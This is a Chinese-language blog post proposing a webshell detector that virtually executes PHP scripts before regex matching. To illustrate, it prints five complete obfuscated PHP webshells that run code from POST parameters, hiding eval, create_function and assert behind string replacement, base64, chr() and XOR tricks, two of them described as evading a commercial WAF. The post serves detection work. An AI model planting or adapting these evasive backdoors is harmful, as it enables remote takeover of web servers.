Webshell查杀的新思路

由于学校要举办个CTF比赛,所以没办法必须参加。。。然后就是准备各种脚本了,关于webshell的查杀有了一个新的想法。

最简单的一句话形如:<?php @eval($_POST['pass'])?>,原理很简单
首先$_POST会获取POST到服务器的参数名为pass的POST请求数据,然后函数eval会将$_POST获取的字符串按照PHP语法进行解析,这样我们通过各种PHP函数的组合使用就能通过中国菜刀等工具对服务器的文件等进行操作,这也就是常见一句话的工作原理。

这里我用两个i春秋上的过狗马来分析下:
第一个:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
$mt="mFsKCleRfU";
$ojj="IEBleldle";
$hsa="E9TVFsnd2VuJ10p";
$fnx="Ow==";
$zk = str_replace("d","","sdtdrd_redpdldadcde");
//字符串替换:替换sdtdrd_redpdldadcde里的d为空 得到函数str_replace
$ef = $zk("z", "", "zbazsze64_zdzeczodze");
//调用$zk 字符串替换:替换zbazsze64_zdzeczodze里的z为空 得到base64_decode
$dva = $zk("p","","pcprpepaptpe_fpupnpcptpipopn");
//调用$zk 字符串替换:替换pcprpepaptpe_fpupnpcptpipopn里的z为空 得到create_function创建匿名函数
$zvm = $dva('', $ef($zk("le", "", $ojj.$mt.$hsa.$fnx)));
//分解步骤
//$zvm=create_function(base64_decode(str_replace("le","","IEBleldlemFsKCleRfUE9TVFsnd2VuJ10pOw=="))) //拼接后的语句
//$zvm=create_function(base64_decode(IEBldmFsKCRfUE9TVFsnd2VuJ10pOw==))) //执行完str_replace函数后,返回base64加密后的字符串
//$zvm=create_function(@eval($_POST['wen'])); //执行完base64_decode 得到解密后的字符串 得到一句话木马 密码是wen
$zvm(); //执行
?>

第二个:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$uf="snd2Fqd";
$ka="IEBldmFsK";
$pjt="CRfUE9TVF";
$vbl = str_replace("ti","","tistittirti_rtietipltiatice"); //空格替换ti str_replace
$iqw="WVqaSddKTs=";
$bkf = $vbl("k", "", "kbakske6k4k_kdkekckokdke"); //空格替换k base64_decode (base64加密)
$sbp = $vbl("ctw","","ctwcctwrectwatctwectw_fctwuncctwtctwioctwn"); //空格替换ctw create_function
$mpy = $sbp('', $bkf($vbl("b", "", $ka.$pjt.$uf.$iqw)));
//$mpy =create_function('', base64_decode(str_replace("b", "",'IEBldmFsKCRfUE9TVFsnd2FqdWVqaSddKTs=')))
//$mpy= @eval($_POST['wajueji']);
$mpy();
?>

现在的webshell大部分都是回调函数,匿名函数,及一些PHP的特殊的函数,或者是PHP的特性。构造出无特征的webshell,传统的基于正则的webshell查杀对于这些webshell是无法查出的,根据在D盾中的测试,就算报出,也是级别为1,2的低级的,基本上咱们就忽略了。

咱们都知道传统的webshell查杀基本上都是基于正则库(这里不得不吐槽下公司的那个webshell查杀工具,真几把垃圾的不行),为什么我们自己就能断定某个PHP脚本是是webshell呢?因为我们在自己的大脑中虚拟调试了这个PHP脚本,知道它是干嘛的了,所以这就是和工具的区别,所以我打算开发的webshell查杀就是基于虚拟执行和正则的webshell查杀。

比如我们那上面的第一个列子:
如果我们echo $zk,$ef,$dva,$zvm则结果为:str_replace,base64_decode,create_function,create_function(@eval($_POST['wen']))这样在基于正则匹配之后是不是就很明显了。

再来看几个例子:

1
2
<?php
$sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n985de9'];if(isset($s22)){eval($s21($s22));}?>

1
2
<?php
$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?>

按照这个思路是不是很容易检测了。
再来看一个:

1
2
3
4
5
6
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
?>

所以现在要做的就是找出脚本中所有的变量及匿名函数即可。

大爷,赏个铜板呗!